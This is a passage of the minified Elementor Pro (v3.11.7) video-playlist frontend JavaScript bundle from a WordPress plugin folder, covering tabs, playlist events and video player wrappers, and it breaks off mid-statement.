PATH:
home
/
thecwrif
/
public_html
/
wp-content
/
plugins
/
elementor-pro
/
assets
/
js
/*! elementor-pro - v3.11.7 - 22-03-2023 */ "use strict"; (self["webpackChunkelementor_pro"] = self["webpackChunkelementor_pro"] || []).push([["video-playlist"],{ /***/ "../modules/video-playlist/assets/js/frontend/base-tabs.js": /*!*****************************************************************!*\ !*** ../modules/video-playlist/assets/js/frontend/base-tabs.js ***! \*****************************************************************/ /***/ ((__unused_webpack_module, exports) => { Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; // Copied from the core, original path: elementor/assets/dev/js/frontend/handlers/base-tabs.js. class baseTabs extends elementorModules.frontend.handlers.Base { getDefaultSettings() { return { selectors: { tablist: '[role="tablist"]', tabTitle: '.e-tab-title', tabContent: '.e-tab-content' }, classes: { active: 'e-active' }, showTabFn: 'show', hideTabFn: 'hide', toggleSelf: true, hidePrevious: true, autoExpand: true, keyDirection: { ArrowLeft: elementorFrontendConfig.is_rtl ? 1 : -1, ArrowUp: -1, ArrowRight: elementorFrontendConfig.is_rtl ? -1 : 1, ArrowDown: 1 } }; } getDefaultElements() { const selectors = this.getSettings('selectors'); return { $tabTitles: this.findElement(selectors.tabTitle), $tabContents: this.findElement(selectors.tabContent) }; } activateDefaultTab(videoId) { const settings = this.getSettings(); if (!settings.autoExpand || 'editor' === settings.autoExpand && !this.isEdit) { return; } const defaultActiveTab = this.getEditSettings('activeItemIndex') || videoId || 1, originalToggleMethods = { showTabFn: settings.showTabFn, hideTabFn: settings.hideTabFn }; // Toggle tabs without animation to avoid jumping. this.setSettings({ showTabFn: 'show', hideTabFn: 'hide' }); this.changeActiveTab(defaultActiveTab); // Return back original toggle effects. this.setSettings(originalToggleMethods); } handleKeyboardNavigation(event) { const tab = event.currentTarget, $tabList = jQuery(tab.closest(this.getSettings('selectors').tablist)), // eslint-disable-next-line @wordpress/no-unused-vars-before-return $tabs = $tabList.find(this.getSettings('selectors').tabTitle), isVertical = 'vertical' === $tabList.attr('aria-orientation'); switch (event.key) { case 'ArrowLeft': case 'ArrowRight': if (isVertical) { return; } break; case 'ArrowUp': case 'ArrowDown': if (!isVertical) { return; } event.preventDefault(); break; case 'Home': event.preventDefault(); $tabs.first().trigger('focus'); return; case 'End': event.preventDefault(); $tabs.last().trigger('focus'); return; default: return; } const tabIndex = tab.getAttribute('data-tab') - 1, direction = this.getSettings('keyDirection')[event.key], nextTab = $tabs[tabIndex + direction]; if (nextTab) { nextTab.focus(); } else if (-1 === tabIndex + direction) { $tabs.last().trigger('focus'); } else { $tabs.first().trigger('focus'); } } deactivateActiveTab(tabIndex) { const settings = this.getSettings(), activeClass = settings.classes.active, activeFilter = tabIndex ? '[data-tab="' + tabIndex + '"]' : '.' + activeClass, $activeTitle = this.elements.$tabTitles.filter(activeFilter), $activeContent = this.elements.$tabContents.filter(activeFilter); $activeTitle.add($activeContent).removeClass(activeClass); $activeTitle.attr({ tabindex: '-1', 'aria-selected': 'false' }); $activeContent[settings.hideTabFn](); $activeContent.attr('hidden', 'hidden'); } activateTab(tabIndex) { const settings = this.getSettings(), activeClass = settings.classes.active, $requestedTitle = this.elements.$tabTitles.filter('[data-tab="' + tabIndex + '"]'), $requestedContent = this.elements.$tabContents.filter('[data-tab="' + tabIndex + '"]'), animationDuration = 'show' === settings.showTabFn ? 0 : 400; $requestedTitle.add($requestedContent).addClass(activeClass); $requestedTitle.attr({ tabindex: '0', 'aria-selected': 'true' }); $requestedContent[settings.showTabFn](animationDuration, () => elementorFrontend.elements.$window.trigger('resize')); $requestedContent.removeAttr('hidden'); } isActiveTab(tabIndex) { return this.elements.$tabTitles.filter('[data-tab="' + tabIndex + '"]').hasClass(this.getSettings('classes.active')); } bindEvents() { this.elements.$tabTitles.on({ keydown: event => { // Support for old markup that includes an `<a>` tag in the tab. if (jQuery(event.target).is('a') && `Enter` === event.key) { event.preventDefault(); } // We listen to keydowon event for these keys in order to prevent undesired page scrolling. if (['End', 'Home', 'ArrowUp', 'ArrowDown'].includes(event.key)) { this.handleKeyboardNavigation(event); } }, keyup: event => { switch (event.key) { case 'ArrowLeft': case 'ArrowRight': this.handleKeyboardNavigation(event); break; case 'Enter': case 'Space': event.preventDefault(); this.changeActiveTab(event.currentTarget.getAttribute('data-tab')); break; } }, click: event => { event.preventDefault(); this.changeActiveTab(event.currentTarget.getAttribute('data-tab')); } }); } onInit() { super.onInit(...arguments); // This.activateDefaultTab(); } changeActiveTab(tabIndex) { const isActiveTab = this.isActiveTab(tabIndex), settings = this.getSettings(); if ((settings.toggleSelf || !isActiveTab) && settings.hidePrevious) { this.deactivateActiveTab(); } if (!settings.hidePrevious && isActiveTab) { this.deactivateActiveTab(tabIndex); } if (!isActiveTab) { this.activateTab(tabIndex); } } } exports["default"] = baseTabs; /***/ }), /***/ "../modules/video-playlist/assets/js/frontend/event-trigger.js": /*!*********************************************************************!*\ !*** ../modules/video-playlist/assets/js/frontend/event-trigger.js ***! \*********************************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = triggerEvent; var _playlistEvent = _interopRequireDefault(__webpack_require__(/*! ./playlist-event */ "../modules/video-playlist/assets/js/frontend/playlist-event.js")); // Functions to get objects for the playlist event object. function getEventTabsObject(widgetObject) { const currentInnerTabsTitleElements = widgetObject.elements.$innerTabs.filter('.e-active').find('.e-inner-tabs-wrapper .e-inner-tab-title'); if (currentInnerTabsTitleElements.length) { const activeInnerTabTitleElement = currentInnerTabsTitleElements.filter('.e-inner-tab-active'); return { name: activeInnerTabTitleElement.text().trim(), index: activeInnerTabTitleElement.index() + 1 }; } return { name: 'none', index: 'none' }; } function getEventPlaylistObject(widgetObject, positionInVideoList) { const currentVideoIndex = positionInVideoList || widgetObject.currentPlaylistItemIndex; return { name: widgetObject.getElementSettings('playlist_title'), currentItem: currentVideoIndex, amount: widgetObject.playlistItemsArray.filter(video => video.videoType !== 'section').length }; } function getEventVideoObject(widgetObject, positionInVideoList) { const currentVideoIndex = positionInVideoList || widgetObject.currentPlaylistItemIndex, currentVideo = widgetObject.playlistItemsArray[currentVideoIndex - 1]; return { provider: currentVideo.videoType, url: currentVideo.videoUrl, title: currentVideo.videoTitle, duration: currentVideo.videoDuration }; } async function getEventEventObject(widgetObject, eventType, eventTrigger, positionInVideoList) { const currentVideoIndex = positionInVideoList || widgetObject.currentPlaylistItemIndex, currentVideo = widgetObject.playlistItemsArray[currentVideoIndex - 1]; return { type: eventType, time: await currentVideo.playerInstance.getCurrentTime(), element: widgetObject.$element, trigger: eventTrigger, watchCount: currentVideo.playerInstance.watchCount }; } async function triggerEvent(widgetObject, eventType, eventTrigger, positionInVideoList) { const currentEvent = new _playlistEvent.default({ event: await getEventEventObject(widgetObject, eventType, eventTrigger, positionInVideoList), tab: getEventTabsObject(widgetObject), playlist: getEventPlaylistObject(widgetObject, positionInVideoList), video: getEventVideoObject(widgetObject, positionInVideoList) }); jQuery('body').trigger('elementor-video-playList', currentEvent); } /***/ }), /***/ "../modules/video-playlist/assets/js/frontend/handler.js": /*!***************************************************************!*\ !*** ../modules/video-playlist/assets/js/frontend/handler.js ***! \***************************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; var _baseTabs = _interopRequireDefault(__webpack_require__(/*! ./base-tabs */ "../modules/video-playlist/assets/js/frontend/base-tabs.js")); var _playerYoutube = _interopRequireDefault(__webpack_require__(/*! ./player-youtube */ "../modules/video-playlist/assets/js/frontend/player-youtube.js")); var _playerVimeo = _interopRequireDefault(__webpack_require__(/*! ./player-vimeo */ "../modules/video-playlist/assets/js/frontend/player-vimeo.js")); var _playerHosted = _interopRequireDefault(__webpack_require__(/*! ./player-hosted */ "../modules/video-playlist/assets/js/frontend/player-hosted.js")); var _scrollUtils = __webpack_require__(/*! ./scroll-utils */ "../modules/video-playlist/assets/js/frontend/scroll-utils.js"); var _innerTabs = __webpack_require__(/*! ./inner-tabs */ "../modules/video-playlist/assets/js/frontend/inner-tabs.js"); var _urlParams = __webpack_require__(/*! ./url-params */ "../modules/video-playlist/assets/js/frontend/url-params.js"); var _eventTrigger = _interopRequireDefault(__webpack_require__(/*! ./event-trigger */ "../modules/video-playlist/assets/js/frontend/event-trigger.js")); class VideoPlaylistHandler extends _baseTabs.default { getDefaultSettings() { const defaultSettings = super.getDefaultSettings(), selectors = { tabsWrapper: '.e-tabs-items-wrapper', tabsItems: '.e-tabs-items', toggleVideosDisplayButton: '.e-tabs-toggle-videos-display-button', videos: '.e-tabs-content-wrapper .e-tab-content', innerTabs: '.e-tabs-inner-tabs .e-tab-content', imageOverlay: '.elementor-custom-embed-image-overlay' }; return { ...defaultSettings, selectors: { ...defaultSettings.selectors, ...selectors } }; } getDefaultElements() { const elements = super.getDefaultElements(), selectors = this.getSettings('selectors'); return { ...elements, $tabsWrapper: this.findElement(selectors.tabsWrapper), $tabsItems: this.findElement(selectors.tabsItems), $toggleVideosDisplayButton: this.findElement(selectors.toggleVideosDisplayButton), $videos: this.findElement(selectors.videos), $innerTabs: this.findElement(selectors.innerTabs), $imageOverlay: this.findElement(selectors.imageOverlay) }; } initEditorListeners() { super.initEditorListeners(); this.editorListeners.push({ event: 'elementorPlaylistWidget:fetchVideoData', to: elementor.channels.editor, callback: e => { this.getCurrentPlayerSelected().setVideoProviderData().then(() => { e.currentItem = this.getCurrentItemSelected(); elementor.channels.editor.trigger('elementorPlaylistWidget:setVideoData', e); }); } }); } bindEvents() { super.bindEvents(); // Handle the click on the image overlay. this.elements.$imageOverlay.on({ click: e => { // Remove image overlay if the user clicked it and play the video in case it is not playing. e.currentTarget.remove(); this.getCurrentPlayerSelected().play(); } }); // Handle the inner tab functionality. this.elements.$innerTabs.on({ click: event => { (0, _innerTabs.handleInnerTabs)(event, this); } }); // Handle scroll on the right panel to make the "shadows" effect when the panel is scrollable. this.elements.$tabsItems.on({ scroll: event => { (0, _scrollUtils.handleVideosPanelScroll)(this.elements, event); } }); // Handle the closing/opening right panel in mobile mode. this.elements.$toggleVideosDisplayButton.on({ click: event => { jQuery(event.target).toggleClass('rotate-up'); jQuery(event.target).toggleClass('rotate-down'); this.elements.$tabsWrapper.slideToggle('slow'); } }); } onInit() { super.onInit(...arguments); this.playlistId = this.getID(); // Handle watched videos. this.storageKey = 'watched_videos_' + this.getID(); const storageObject = elementorFrontend.storage.get(this.storageKey); if (storageObject) { this.watchedVideosArray = JSON.parse(storageObject); } else { this.watchedVideosArray = []; } this.watchedIndication = this.getElementSettings('show_watched_indication'); // Handle indication for scrolling in the right panel. (0, _scrollUtils.handleVideosPanelScroll)(this.elements); // Handle the video player functionality, includes "on load" and "next up". this.isAutoplayOnLoad = 'yes' === this.getElementSettings('autoplay_on_load'); this.isAutoplayNextUp = 'yes' === this.getElementSettings('autoplay_next'); this.isFirstVideoActivated = true; this.createPlaylistItems(); // Handle display for show more/less button. this.isCollapsible = this.getElementSettings('inner_tab_is_content_collapsible'); this.innerTabsHeightLimit = this.getElementSettings('inner_tab_collapsible_height'); // Keep track of the element that supposed to be paused since the user selected other video. this.currentPlayingPlaylistItemIndex = 1; // Handle the first initial activation of the video in the playlist. this.activateInitialVideo(); // Handle Inner Tab activation in edit mode. this.activateInnerTabInEditMode(); } onEditSettingsChange(propertyName) { // The condition will be true when the user clicks the widget to open the edit panel. if ('panel' === propertyName) { // The boolean below will prevent running twice the activateDefaultTab function when widget first load and user click the item to play it. this.preventTabActivation = true; } if ('activeItemIndex' !== propertyName) { return; } if (this.preventTabActivation) { this.preventTabActivation = false; return; } this.activateDefaultTab(); } activateInitialVideo() { this.isPageOnLoad = true; const isLazyLoad = !!this.getElementSettings('lazy_load'), initialTabIndex = (0, _urlParams.handleURLParams)(this.playlistId, this.playlistItemsArray); let isUrlParamsExist = false; if (initialTabIndex) { this.currentPlaylistItemIndex = initialTabIndex; this.currentPlayingPlaylistItemIndex = initialTabIndex; isUrlParamsExist = true; } else { this.currentPlaylistItemIndex = 1; this.currentPlayingPlaylistItemIndex = 1; } // When there are no url parameters and on-load is on, the video should be played, means the url parameters should be set. if (this.isAutoplayOnLoad && !isUrlParamsExist) { (0, _urlParams.setVideoParams)(this.playlistId, this.playlistItemsArray, this.currentPlaylistItemIndex); } if (isUrlParamsExist) { this.$element[0]?.scrollIntoView({ behavior: 'smooth' }); } this.handleFirstVideoActivation(isLazyLoad); } /* The scenarios for playing the first video after page load: - lazy load off - video will load on page load before user scroll video to view. - lazy load on - video will load when user scroll the video to view. */ handleFirstVideoActivation(isLazyLoad) { if (!isLazyLoad) { this.activateDefaultTab(this.currentPlaylistItemIndex); // No need to use the observer since "lazy load is" off. return; } const playlistElement = document.querySelector('.elementor-element-' + this.playlistId + ' .e-tabs-main-area'), observer = elementorModules.utils.Scroll.scrollObserver({ callback: event => { if (event.isInViewport) { this.activateDefaultTab(this.currentPlaylistItemIndex); observer.unobserve(playlistElement); } } }); observer.observe(playlistElement); } getCurrentItemSelected() { return this.playlistItemsArray[this.currentPlaylistItemIndex - 1]; } getCurrentPlayerSelected() { return this.getCurrentItemSelected().playerInstance; } getCurrentPlayerPlaying() { return this.playlistItemsArray[this.currentPlayingPlaylistItemIndex - 1].playerInstance; } // Handle video selection. isVideoShouldBePlayed() { // When user select other video, the current video will be paused if is playing. if (this.currentPlayingPlaylistItemIndex !== this.currentPlaylistItemIndex) { if (this.getCurrentPlayerPlaying()) { this.getCurrentPlayerPlaying().pause(); } this.currentPlayingPlaylistItemIndex = this.currentPlaylistItemIndex; // When user select the same video, the current video will be paused if is playing. } else if (this.getCurrentPlayerPlaying().isVideoPlaying) { this.getCurrentPlayerPlaying().pause(); return false; } // When none of the videos are playing, the selected video should be played. return true; } activateInnerTabInEditMode() { if (this.isEdit && this.getEditSettings('innerActiveIndex')) { const innerTabActivated = this.getEditSettings('innerActiveIndex'), innerTabs = jQuery(this.elements.$innerTabs.eq(this.currentPlaylistItemIndex - 1).find('.e-inner-tab-title a')); innerTabs[innerTabActivated].click(); } } // Handle video creation including event listeners and playing video if needed. handleVideo(playListItem) { // If the video already created (visited once), then just play it if it's not playing already, otherwise pause it. if (playListItem.playerInstance) { if (this.isVideoShouldBePlayed()) { // Remove image overlay if first video item is playing without clicking the image overlay. if (1 === this.currentPlaylistItemIndex && this.elements.$imageOverlay) { this.elements.$imageOverlay.remove(); } this.playVideoAfterCreation(playListItem); } } else { // If the video is not created yet (first visit), then create the video instance and the event listeners. const players = { youtube: _playerYoutube.default, vimeo: _playerVimeo.default, hosted: _playerHosted.default }; // Initiating player object. // The second parameter holds the video item when event trigger occur with setTimeout. playListItem.playerInstance = new players[playListItem.videoType](playListItem, this.currentPlaylistItemIndex); playListItem.playerInstance.create().then(() => { if (this.isVideoShouldBePlayed()) { this.playVideoOnCreation(playListItem); } // Handle the functionality when video full screen mode changes. playListItem.playerInstance.handleFullScreenChange(isEnterFullScreenMode => { // Trigger event when enter/exit full screen mode. (0, _eventTrigger.default)(this, isEnterFullScreenMode ? 'videoFullScreen' : 'videoExitFullScreen', 'click'); }); // Handle the functionality when video play. playListItem.playerInstance.handlePlayed(() => { const currentPlaylistItem = this.getCurrentItemSelected(); let videoTrigger = 'click'; if (currentPlaylistItem.isAutoplayOnLoad) { videoTrigger = 'onLoad'; playListItem.isAutoplayOnLoad = false; } else if (currentPlaylistItem.isAutoPlayNextUp) { videoTrigger = 'nextVideo'; } // Trigger event when video started. (0, _eventTrigger.default)(this, currentPlaylistItem.playerInstance.isVideoPausedLocal ? 'videoResume' : 'videoStart', videoTrigger); }); // Handle the functionality when video ended. playListItem.playerInstance.handleEnded(() => { // Trigger event when video ended. (0, _eventTrigger.default)(this, 'videoEnded', 'click'); // Handle the indication for videos that have been watched and ended. if (this.watchedIndication) { this.elements.$tabTitles.filter('.e-active').addClass('watched-video'); } const endedVideoId = this.getCurrentItemSelected().dataItemId; if (!this.watchedVideosArray.includes(endedVideoId) && this.watchedIndication) { this.watchedVideosArray.push(this.getCurrentItemSelected().dataItemId); elementorFrontend.storage.set(this.storageKey, JSON.stringify(this.watchedVideosArray)); } // Handle "next up" functionality. if (this.isAutoplayNextUp) { // If there are more videos in the list, play next video. if (this.playlistItemsArray.length >= ++this.currentPlaylistItemIndex) { // Handle the logic for playing next video. while ('section' === this.getCurrentItemSelected().videoType) { this.currentPlaylistItemIndex++; // When last video in the playlist ended, we reset the this.currentPlaylistItemIndex to the last playlist item index. if (this.playlistItemsArray.length < this.currentPlaylistItemIndex) { this.currentPlaylistItemIndex = this.playlistItemsArray.length; return; } } this.changeActiveTab(this.currentPlaylistItemIndex, true); } } }); // Handle the functionality when video paused. // The handlePaused will trigger event with setTimeout, positionInVideoList will keep track for the paused video when selecting other video. playListItem.playerInstance.handlePaused(positionInVideoList => { // Trigger event when video paused. (0, _eventTrigger.default)(this, 'videoPaused', 'click', positionInVideoList); }); }); } } // Handle the actual playing of the video that already exists (already created before). playVideoAfterCreation(playListItem) { playListItem.playerInstance.play(); } // Handle the actual playing of the video when the video is created. playVideoOnCreation(playListItem) { // Play the video according to "on load" and "next up" indications. if (this.isAutoplayOnLoad) { playListItem.isAutoplayOnLoad = true; // Mute the initiated video when "autoplay onload" and then play. playListItem.playerInstance.mute(); playListItem.playerInstance.play(); this.isAutoplayOnLoad = false; } else if (!this.isFirstVideoActivated) { playListItem.isAutoPlayNextUp = true; playListItem.playerInstance.play(); } this.isFirstVideoActivated = false; } createPlaylistItems() { this.playlistItemsArray = []; this.elements.$videos.each((index, tabContent) => { const playListItem = {}; const $tabContent = jQuery(tabContent); playListItem.videoUrl = $tabContent.attr('data-video-url'); playListItem.videoType = $tabContent.attr('data-video-type'); playListItem.videoTitle = $tabContent.attr('data-video-title'); playListItem.videoDuration = $tabContent.attr('data-video-duration'); playListItem.tabContent = tabContent; playListItem.dataTab = index + 1; playListItem.dataItemId = this.getElementSettings().tabs[index]._id; this.playlistItemsArray.push(playListItem); }); // When the page loads,the code checks which videos already watched and adding a class accordingly. if (this.watchedVideosArray.length > 0 && this.watchedIndication) { this.watchedVideosArray.forEach(watchedVideoId => { const watchedPlaylistItem = this.playlistItemsArray.find(playlistItem => playlistItem.dataItemId === watchedVideoId); this.elements.$tabTitles.filter('[data-tab="' + watchedPlaylistItem.dataTab + '"]').addClass('watched-video'); }); } } changeActiveTab(tabIndex, isVideoSelectedAutomatically) { super.changeActiveTab(tabIndex); if (this.playlistItemsArray[tabIndex - 1] && this.playlistItemsArray[tabIndex - 1].videoType !== 'section') { this.currentPlaylistItemIndex = parseInt(tabIndex); if (isVideoSelectedAutomatically) { this.currentPlayingPlaylistItemIndex = this.currentPlaylistItemIndex; } // Handle on creation of the video and working with it. this.handleVideo(this.getCurrentItemSelected(), isVideoSelectedAutomatically); // Set Video params in url only if its not the first video when page load. if (!this.isPageOnLoad) { (0, _urlParams.setVideoParams)(this.playlistId, this.playlistItemsArray, this.currentPlaylistItemIndex); } this.isPageOnLoad = false; // Handle the display for the inner tabs buttons as long there are actually inner tabs. if (jQuery(this.elements.$innerTabs.eq(tabIndex - 1)).find('.e-inner-tab-content').length > 0) { const innerTabsContent = this.elements.$innerTabs.filter('.e-active').find('.e-inner-tab-content'); (0, _innerTabs.handleInnerTabsButtonsDisplay)(innerTabsContent.toArray(), this.isCollapsible, this.innerTabsHeightLimit); } } } } exports["default"] = VideoPlaylistHandler; /***/ }), /***/ "../modules/video-playlist/assets/js/frontend/inner-tabs.js": /*!******************************************************************!*\ !*** ../modules/video-playlist/assets/js/frontend/inner-tabs.js ***! \******************************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); Object.defineProperty(exports, "__esModule", ({ value: true })); exports.handleInnerTabs = handleInnerTabs; exports.handleInnerTabsButtonsDisplay = handleInnerTabsButtonsDisplay; exports.onTabContentButtonsClick = onTabContentButtonsClick; var _eventTrigger = _interopRequireDefault(__webpack_require__(/*! ./event-trigger */ "../modules/video-playlist/assets/js/frontend/event-trigger.js")); function toggleInnerTabs(event, clickedTab, widgetObject) { const activeTabWrapper = event.currentTarget, tabTitles = activeTabWrapper.querySelectorAll('.e-inner-tab-title'); if (clickedTab.hasClass('e-inner-tab-active') || tabTitles.length < 2) { return; } const tabsContents = activeTabWrapper.querySelectorAll('.e-inner-tab-content'); tabTitles.forEach(tabTitle => { tabTitle.classList.toggle('e-inner-tab-active'); }); tabsContents.forEach(tabContent => { tabContent.toggleAttribute('hidden'); tabContent.classList.toggle('e-inner-tab-active'); }); handleInnerTabsButtonsDisplay(Array.from(tabsContents), widgetObject.isCollapsible, widgetObject.innerTabsHeightLimit); // Trigger event when tab open. (0, _eventTrigger.default)(widgetObject, 'tabOpened', 'click'); } function handleInnerTabs(event, widgetObject) { const clickedTarget = event.target; const clickedTagType = clickedTarget.tagName; // Handle click on tab on desktop mode. if (clickedTarget.classList.contains('e-inner-tab-title-text')) { event.preventDefault(); const $clickedTab = jQuery(clickedTarget).parent('.e-inner-tab-title'); toggleInnerTabs(event, $clickedTab, widgetObject); } // Handle click on tab on mobile mode. if (clickedTarget.classList.contains('e-tab-mobile-title')) { const $clickedTab = jQuery(clickedTarget); toggleInnerTabs(event, $clickedTab, widgetObject); } // Handle click on show-less buttons in tab content. if ('button' === clickedTagType.toLowerCase()) { onTabContentButtonsClick(event, widgetObject); } } function handleInnerTabsButtonsDisplay(tabsContents, isCollapsible, innerTabsHeightLimit) { if (!isCollapsible) { return; } const activeInnerTab = tabsContents.filter(tabsContent => tabsContent.classList.contains('e-inner-tab-active')), innerTabScrollableHeight = activeInnerTab[0].querySelector('.e-inner-tab-text > div').offsetHeight, innerTabsLimitHeight = parseInt(innerTabsHeightLimit.size); if (innerTabsLimitHeight && innerTabScrollableHeight > innerTabsLimitHeight) { activeInnerTab[0].classList.add('show-inner-tab-buttons'); } } function onTabContentButtonsClick(event, widgetObject) { const $tabsContent = jQuery(event.currentTarget).find('.e-inner-tab-content'), $activeTabContent = $tabsContent.filter('.e-inner-tab-active'), buttonsElements = $activeTabContent.find('button'); buttonsElements.toggleClass('show-button'); $activeTabContent.toggleClass('show-full-height'); const eventType = $activeTabContent.hasClass('show-full-height') ? 'tabExpanded' : 'tabCollapsed'; // Trigger event when collapsed/expanded clicked. (0, _eventTrigger.default)(widgetObject, eventType, 'click'); } /***/ }), /***/ "../modules/video-playlist/assets/js/frontend/player-base.js": /*!*******************************************************************!*\ !*** ../modules/video-playlist/assets/js/frontend/player-base.js ***! \*******************************************************************/ /***/ ((__unused_webpack_module, exports) => { Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; class PlayerBase { constructor(playlistItem, videoIndex) { this.playlistItem = playlistItem; this.positionInVideoList = videoIndex; } formatDuration(duration) { const dateObj = new Date(duration * 1000), hours = dateObj.getUTCHours(), minutes = dateObj.getUTCMinutes(), seconds = dateObj.getSeconds(); if (hours !== 0) { return `${hours.toString()}:${minutes.toString().padStart(2, '0')}:${seconds.toString().padStart(2, '0')}`; } return `${minutes.toString()}:${seconds.toString().padStart(2, '0')}`; } } exports["default"] = PlayerBase; /***/ }), /***/ "../modules/video-playlist/assets/js/frontend/player-hosted.js": /*!*********************************************************************!*\ !*** ../modules/video-playlist/assets/js/frontend/player-hosted.js ***! \*********************************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; var _playerBase = _interopRequireDefault(__webpack_require__(/*! ./player-base */ "../modules/video-playlist/assets/js/frontend/player-base.js")); class playerHosted extends _playerBase.default { constructor(playlistItem, videoIndex) { super(playlistItem, videoIndex); this.playerObject = null; this.watchCount = 0; this.isVideoPlaying = false; this.isVideoPausedLocal = false; this.isVideoSeeking = false; this.isVideoEnded = false; this.isReady = false; } create() { const videoPromise = new Promise(resolve => { const video = document.createElement('video'); video.setAttribute('controls', ''); const text = document.createTextNode('Sorry, your browser doesn\'t support embedded videos.'); const source = document.createElement('source'); source.setAttribute('src', this.playlistItem.videoUrl); source.setAttribute('type', 'video/' + this.playlistItem.videoUrl.split('.').pop()); video.appendChild(source); video.appendChild(text); this.playerObject = video; this.playlistItem.tabContent.querySelector('div').replaceWith(this.playerObject); this.playerObject.addEventListener('canplay', () => { // Indication that the video is loaded and can be played and paused. this.isReady = true; resolve(); }); // Seeked event indicates that the seeking has been finished, so we reset the boolean for that. this.playerObject.addEventListener('seeked', () => { this.isVideoSeeking = false; }); // Seeking event indicates that the seeking is currently happening, so we change the boolean. this.playerObject.addEventListener('seeking', () => { clearTimeout(this.seekTimeOut); this.isVideoSeeking = true; }); }); return videoPromise; } handleEnded(callback) { this.playerObject.addEventListener('ended', () => { this.watchCount++; // This property will prevent automatic pause trigger when video ended. this.isVideoEnded = true; this.isVideoPlaying = false; callback(this.playlistItem); }); } handlePaused(callback) { this.playerObject.addEventListener('pause', () => { // Prevent pause trigger when the user is seeking video or when the video automatically trigger pause event when ended. this.seekTimeOut = setTimeout(() => { if (!this.isVideoSeeking && !this.isVideoEnded) { callback(this.positionInVideoList); // Indication to know when there is a resume trigger event. this.isVideoPausedLocal = true; } else { this.isVideoEnded = false; } }, 30); }); } handlePlayed(callback) { this.playerObject.addEventListener('play', () => { // Prevent play trigger when user is seeking video. if (!this.isVideoSeeking) { callback(this.playlistItem); } }); } handleFullScreenChange(callback) { // Wrapping with jQuery to easily listen all 3 prefixed screen change. jQuery(this.playerObject).on('webkitfullscreenchange mozfullscreenchange fullscreenchange', () => { callback(document.fullscreenElement); }); } getCurrentTime() { return this.playerObject.currentTime; } play() { if (!this.isReady) { return; } this.isVideoPlaying = true; this.playerObject.play(); } pause() { if (!this.isReady) { return; } this.isVideoPlaying = false; this.playerObject.pause(); } mute() { this.playerObject.muted = true; } } exports["default"] = playerHosted; /***/ }), /***/ "../modules/video-playlist/assets/js/frontend/player-vimeo.js": /*!********************************************************************!*\ !*** ../modules/video-playlist/assets/js/frontend/player-vimeo.js ***! \********************************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; var _playerBase = _interopRequireDefault(__webpack_require__(/*! ./player-base */ "../modules/video-playlist/assets/js/frontend/player-base.js")); class playerVimeo extends _playerBase.default { constructor(playlistItem, videoIndex) { super(playlistItem, videoIndex); this.apiProvider = elementorFrontend.utils.vimeo; this.playerObject = null; this.watchCount = 0; this.isVideoInFullScreenChange = false; this.isReady = false; } create() { this.currentVideoID = this.apiProvider.getVideoIDFromURL(this.playlistItem.videoUrl); return new Promise(resolve => { this.apiProvider.onApiReady(apiObject => { const playerOptions = { id: this.currentVideoID, autoplay: false }; this.playerObject = new apiObject.Player(this.playlistItem.tabContent.querySelector('div'), playerOptions); // Indication that the video is loaded and can be played and paused. this.playerObject.ready().then(() => { this.isReady = true; resolve(); }); }); }); } handleEnded(callback) { this.playerObject.on('ended', () => { this.watchCount++; callback(this.playlistItem); }); } handlePaused(callback) { this.playerObject.on('pause', event => { // Prevent "pause" event trigger when page loads with vimeo video and when vimeo video ended, or when entering/exiting full-screen mode. if (0 === event.percent || event.percent >= 1 || this.isVideoInFullScreenChange) { return; } callback(this.positionInVideoList); }); } handlePlayed(callback) { this.playerObject.on('play', () => { if (this.isVideoInFullScreenChange) { // Full screen change ended with all the extra events (pause and play). this.isVideoInFullScreenChange = false; return; } callback(this.playlistItem); }); } handleFullScreenChange(callback) { this.playerObject.element.addEventListener('fullscreenchange', () => { callback(document.fullscreenElement); this.isVideoInFullScreenChange = true; }); } getCurrentTime() { return this.playerObject.getCurrentTime().then(seconds => seconds); } play() { if (!this.isReady) { return; } this.playerObject.play(); } pause() { if (!this.isReady) { return; } this.playerObject.pause(); } mute() { this.playerObject.setMuted(true); } async setVideoProviderData() { if (!this.currentVideoID && 9 === !this.currentVideoID.length) { return; } const videoId = await this.playerObject.getVideoId(); const response = await fetch('https://vimeo.com/api/v2/video/' + videoId + '.json'); const videoData = await response.json(); this.playlistItem.duration = this.formatDuration(videoData[0].duration); this.playlistItem.video_title = videoData[0].title; this.playlistItem.thumbnail = { url: videoData[0].thumbnail_medium }; return this.playlistItem; } } exports["default"] = playerVimeo; /***/ }), /***/ "../modules/video-playlist/assets/js/frontend/player-youtube.js": /*!**********************************************************************!*\ !*** ../modules/video-playlist/assets/js/frontend/player-youtube.js ***! \**********************************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; var _playerBase = _interopRequireDefault(__webpack_require__(/*! ./player-base */ "../modules/video-playlist/assets/js/frontend/player-base.js")); class playerYoutube extends _playerBase.default { constructor(playlistItem, videoIndex) { super(playlistItem, videoIndex); this.apiProvider = 